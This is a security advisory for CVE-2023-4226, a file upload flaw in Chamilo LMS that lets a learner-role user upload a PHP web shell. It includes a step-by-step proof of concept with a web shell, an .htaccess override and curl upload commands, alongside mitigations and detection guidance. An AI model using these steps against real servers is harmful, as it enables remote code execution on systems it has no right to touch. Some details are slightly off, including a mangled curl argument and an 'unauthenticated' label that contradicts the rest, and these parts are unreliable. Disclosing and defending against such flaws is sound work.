Summary

Product Chamilo
Vendor Chamilo
Severity High - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions <= v1.11.24
Tested Versions v1.11.24 (latest version as of writing)
CVE Identifier CVE-2023-4226
CVE Description Unrestricted file upload in /main/inc/ajax/work.ajax.php in Chamilo LMS <= v1.11.24 allows authenticated attackers with learner role to obtain remote code execution via uploading of PHP files.
CWE Classification(s) CWE-434: Unrestricted Upload of File with Dangerous Type
CAPEC Classification(s) CAPEC-650: Upload a Web Shell to a Web Server

CVSS3.1 Scoring System

Base Score: 8.8 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Metric Value
Attack Vector (AV) Network
Attack Complexity (AC) Low
Privileges Required (PR) Low
User Interaction (UI) None
Scope (S) Unchanged
Confidentiality (C) High
Integrity (I) High
Availability (A) High

Product Overview

Chamilo is an open-source PHP-based Learning Management System (LMS) that facilitates online education and training. It offers features such as course creation, content management, assessments, collaboration and delivering educational resources.

Vulnerability Summary

The largely-identical file upload chunking implementation used by main/inc/ajax/document.ajax.php, main/inc/ajax/dropbox.ajax.php, main/inc/ajax/exercise.ajax.php and main/inc/ajax/work.ajax.php does not impose any restrictions on the uploaded file. The uploaded file is written into SYS_ARCHIVE_PATH, which defaults to /<path-to-webroot>/app/cache. Although there is a .htaccess file present in /<path-to-webroot>/app/cache, it can be overwritten to permit execution of PHP files.

Consequently, an authenticated attacker with learner role may exploit these vulnerabilities to perform stored cross-site scripting attacks, as well as obtain remote code execution, via uploading of PHP files.

Note: This advisory details the fourth file upload vulnerability in main/inc/ajax/work.ajax.php (CVE-2023-4226). The advisories for the other 3 vulnerabilites can be found here – CVE-2023-4223, CVE-2023-4224 and CVE-2023-4225.

Vulnerability Details

The vulnerable portion of /main/inc/ajax/work.ajax.php is shown below:

...
$action = isset($_REQUEST['a']) ? $_REQUEST['a'] : null;
...
switch ($action) {
    ...
    case 'upload_file':
        api_protect_course_script(true);

        if (isset($_REQUEST['chunkAction']) && 'send' === $_REQUEST['chunkAction']) {
            // It uploads the files in chunks
            if (!empty($_FILES)) {
                $tempDirectory = api_get_path(SYS_ARCHIVE_PATH); // [1]
                $files = $_FILES['files'];
                $fileList = [];
                foreach ($files as $name => $array) {
                    $counter = 0;
                    foreach ($array as $data) {
                        $fileList[$counter][$name] = $data;
                        $counter++;
                    }
                }
                if (!empty($fileList)) {
                    foreach ($fileList as $n => $file) {
                        $tmpFile = $tempDirectory.$file['name']; // [2]
                        file_put_contents(                       // [3]
                            $tmpFile,
                            fopen($file['tmp_name'], 'r'),
                            FILE_APPEND
                        );
                    }
                }
            }
            ...
        }
        ...
    ...
}
exit;

At [1], $tempDirectory is set to /<path-to-webroot/app/cache. At [2], the user-supplied filename is used in constructing the destination filepath relative to $tempDirectory.

At [3], the uploaded file is saved into the /app/cache directory of the web root using the user-supplied filename. Since /app/cache is meant to be writable by the webserver, it is possible to append to the /<path-to-webroot>/app/cache/.htaccess to enable PHP execution.

Consequently, an attacker with learner role can simply upload a PHP web shell to obtain authenticated remote code execution.

Exploit Conditions

An attacker with learner role with access view a course, even if the user is not subscribed to the course, is expected to be able to execute this exploit scenario reliably.

Proof-of-Concept

  1. Ensure that a course named test with Open visibility (access permitted by all users registered on the platform) is created.
  2. Log in to an account with learner role and note down the value of the ch_sid session cookie.
  3. On the attacker’s machine, run the following commands to create the necessary files for the exploit:
   $ echo '<?php system("id"); ?>' > rce.php

   $ cat << 'EOF' > .htaccess
   php_flag engine on
   AcceptPathInfo on
   <FilesMatch ".+">
       order allow,deny
       allow from all
   </FilesMatch>
   EOF
  1. Run the following shell commands on the attacker’s machine to upload the PHP web shell to the victim target:
    $ curl -s -b 'ch_sid=<ch_sid_value>' 'http://<chamilo>/main/work/work.php?cidReq=TEST'
    $ curl -b 'ch_sid=<ch_sid_value>' -F 'files[0][email protected]' -F 'files[1][email protected]' 'http://<chamilo>/main/inc/ajax/work.ajax.php?a=upload_file&chunkAction=send'
    
  2. Run the following command to execute the PHP web shell:
    $ curl http://<chamilo>/app/cache/rce.php/
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    
  3. Observe that the id shell command is successfully executed, confirming the unrestricted file upload vulnerability.

Suggested Mitigations

Ensure that the user-supplied filename is sanitised accordingly to prevent files with dangerous file extensions from being uploaded.

For example:

    ...
    foreach ($fileList as $n => $file) {
-       $tmpFile = $tempDirectory.$file['name'];
+       $sanitizedFileName = $disable_dangerous_file(
+           api_replace_dangerous_char($file['name'])
+       );
+       $tmpFile = $tempDirectory.$sanitizedFileName;
        file_put_contents(
            $tmpFile,
            fopen($file['tmp_name'], 'r'),
            FILE_APPEND
        );
    }
    ...

However, note that disable_dangerous_file() only prevents PHP and .htaccess files, and do not prevent uploading of HTML files. As such, it is still possible to achieve unauthenticated stored cross-site scripting (XSS) by uploading a HTML file.

It is therefore recommended to enhance the implementation of disable_dangerous_file() in main/inc/lib/fileUpload.lib.php to also prevent uploading of HTML files.

Lastly, it is advised to add the following rules to the default .htaccess file:

# Disallow direct access to /main/inc/lib/javascript/bigupload/files
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files

# Disallow MIME sniffing to prevent XSS from unknown/incorrect file extensions 
Header always set X-Content-Type-Options nosniff

End users are encouraged to update to the latest version of Chamilo.

Detection Guidance

It is possible to detect the exploitation of this vulnerability by:

  1. checking the server’s access logs for all requests made to /main/inc/ajax/dropbox.ajax.php,
  2. checking the server’s access logs for all requests made to /app/cache/*, and
  3. checking /app/cache/ directory for presence of modified .htaccess or PHP files.

Credits

Ngo Wei Lin (@Creastery) of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-09-04 Vendor Disclosure
  • 2023-09-06 Initial Vendor Contact
  • 2023-09-12 Sent additional information to vendor regarding incomplete fixes found
  • 2023-09-27 Vendor Patch Release (v1.11.26) completely fixing vulnerability
  • 2023-09-29 Vendor published the vulnerability sumamry
  • 2023-09-29 Mutual agreement to delay the publication of vulnerability details was reached in light of the recent in-the-wild exploitation of Chamilo N-day vulnerability (CVE-2023-34960)
  • 2023-11-28 Public Release